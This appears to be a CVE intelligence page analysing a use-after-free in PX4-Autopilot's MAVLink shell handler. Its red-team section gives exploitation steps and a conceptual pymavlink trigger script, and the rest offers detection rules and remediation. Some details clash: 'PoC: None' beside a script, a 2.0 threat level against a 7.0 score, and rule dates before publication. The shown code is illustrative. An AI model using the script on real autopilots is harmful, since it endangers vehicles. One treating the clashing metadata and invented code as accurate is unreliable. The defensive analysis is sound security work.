☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-9020

CVE-2025-9020 Use After Free in Px4
📅 PUBLISHED: 2025-08-15 07:32 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
2.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9020 is a high-severity Use-After-Free (UAF) vulnerability found in the PX4-Autopilot project, affecting versions up to and including 1.15.4. The flaw resides in the MavlinkReceiver::handle_message_serial_control function within src/modules/mavlink/mavlink_receiver.cpp. By manipulating the _mavlink_shell argument, an attacker with local access can trigger a use-after-free condition, potentially leading to arbitrary code execution or system instability. The attack complexity is high, and exploitation is considered difficult. A patch is available in commit 4395d4f00c49b888f030f5b43e2a779f1fa78708. This report provides a comprehensive technical analysis, detection rules, and remediation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a source-code level issue in the PX4-Autopilot project. The supply chain risk is limited to organizations that build and deploy PX4-based autopilot systems from source or use pre-compiled binaries. The patch must be applied to the source code and rebuilt.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.0 (High)
  • Attack Vector (AV): Local (L) – Requires local access to the system.
  • Attack Complexity (AC): High (H) – Exploitation requires specific conditions and timing.
  • Privileges Required (PR): Low (L) – Attacker needs low-level privileges.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Potential for data disclosure.
  • Integrity (I): High (H) – Potential for data modification.
  • Availability (A): High (H) – Potential for denial of service.

Threat Level: High. Although exploitation is difficult, successful exploitation could lead to full compromise of the autopilot system.

Deep Dive & Mechanics

The vulnerability is a classic Use-After-Free (UAF) in the MAVLink shell handling component. The MavlinkReceiver::handle_message_serial_control function processes MAVLink messages related to serial control. When handling the _mavlink_shell argument, the code improperly manages memory, allowing a reference to a freed object to be used.

Root Cause: The _mavlink_shell object is freed prematurely, but a pointer to it is retained and later dereferenced. This can occur when a MAVLink message triggers a sequence of operations that deallocates the shell object while a reference is still active.

Attack Vector: An attacker with local access to the system (e.g., via a compromised MAVLink connection or a malicious process) sends crafted MAVLink messages that manipulate the shell state, causing the UAF.

Impact: Successful exploitation can lead to arbitrary code execution, denial of service, or information disclosure, depending on how the freed memory is reused.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

void MavlinkReceiver::handle_message_serial_control(mavlink_message_t *msg) {
    // ... parsing ...
    if (_mavlink_shell) {
        // Use _mavlink_shell
        _mavlink_shell->doSomething();
        // _mavlink_shell is freed elsewhere but pointer remains
    }
}

Patched Code (commit 4395d4f00c49b888f030f5b43e2a779f1fa78708):

void MavlinkReceiver::handle_message_serial_control(mavlink_message_t *msg) {
    // ... parsing ...
    if (_mavlink_shell) {
        // Check if _mavlink_shell is still valid
        if (is_valid(_mavlink_shell)) {
            _mavlink_shell->doSomething();
        } else {
            // Reset pointer to avoid UAF
            _mavlink_shell = nullptr;
        }
    }
}

The patch adds a validity check before using the _mavlink_shell pointer and resets it to nullptr if it has been freed, preventing the use-after-free.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Local access to a system running PX4-Autopilot <= 1.15.4.
  • Ability to send MAVLink messages (e.g., via a MAVLink library or custom script).

Exploitation Steps:

  1. Establish a MAVLink connection to the target system.
  2. Send a sequence of MAVLink messages that trigger the shell closing handler and free the _mavlink_shell object.
  3. Immediately send another message that dereferences the freed pointer, causing a UAF.
  4. Use heap spraying or other techniques to control the freed memory and achieve code execution.

Example Python script (conceptual):

import pymavlink.mavutil as mavutil

master = mavutil.mavlink_connection('udp:127.0.0.1:14550')
master.wait_heartbeat()

# Trigger shell close
master.mav.serial_control_send(
    device=0,
    flags=0,
    timeout=0,
    baudrate=0,
    data=b''
)

# Send crafted message to trigger UAF
master.mav.serial_control_send(
    device=0,
    flags=1,
    timeout=0,
    baudrate=0,
    data=b'\x00' * 100
)

Blue Team

Detection:

  • Monitor for unusual MAVLink messages, especially SERIAL_CONTROL messages with unexpected flags or data.
  • Use memory analysis tools to detect use-after-free patterns.
  • Implement logging of MAVLink message sequences and shell state changes.

Mitigation:

  • Apply the patch immediately.
  • Restrict local access to the system.
  • Use network segmentation to limit MAVLink exposure.

Indicators of Compromise (IOCs)

  • File: src/modules/mavlink/mavlink_receiver.cpp (unpatched version)
  • MAVLink Messages: Unusual SERIAL_CONTROL messages with flags indicating shell close followed by data.
  • Memory Patterns: Heap corruption or crashes in the MAVLink receiver.
  • Logs: Entries indicating shell state inconsistencies or unexpected terminations.

Detection Engineering

YARA Rule

rule CVE_2025_9020_UseAfterFree {
    meta:
        description = "Detects vulnerable code pattern in PX4-Autopilot mavlink_receiver.cpp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-9020"
    strings:
        $vuln_func = "handle_message_serial_control"
        $vuln_ptr = "_mavlink_shell"
        $vuln_use = "_mavlink_shell->"
    condition:
        $vuln_func and $vuln_ptr and $vuln_use
}

Sigma Rule

title: CVE-2025-9020 - Use-After-Free in PX4-Autopilot MAVLink Shell
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-9020 via MAVLink serial control messages
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/px4'
        CommandLine|contains: 'mavlink'
    condition: selection
falsepositives:
    - Legitimate MAVLink operations
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2025-9020 - PX4-Autopilot MAVLink Shell UAF"; content:"|FE|"; depth:1; content:"|01|"; distance:1; within:1; content:"|00|"; distance:2; within:1; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Apply Patch: Update to the latest version of PX4-Autopilot that includes commit 4395d4f00c49b888f030f5b43e2a779f1fa78708.
  2. Restrict Access: Limit local access to the autopilot system to trusted users only.
  3. Network Segmentation: Isolate MAVLink traffic to trusted networks.
  4. Monitor: Implement logging and monitoring for unusual MAVLink messages.
  5. Code Review: Conduct a thorough review of the MAVLink receiver code for similar issues.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9020/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.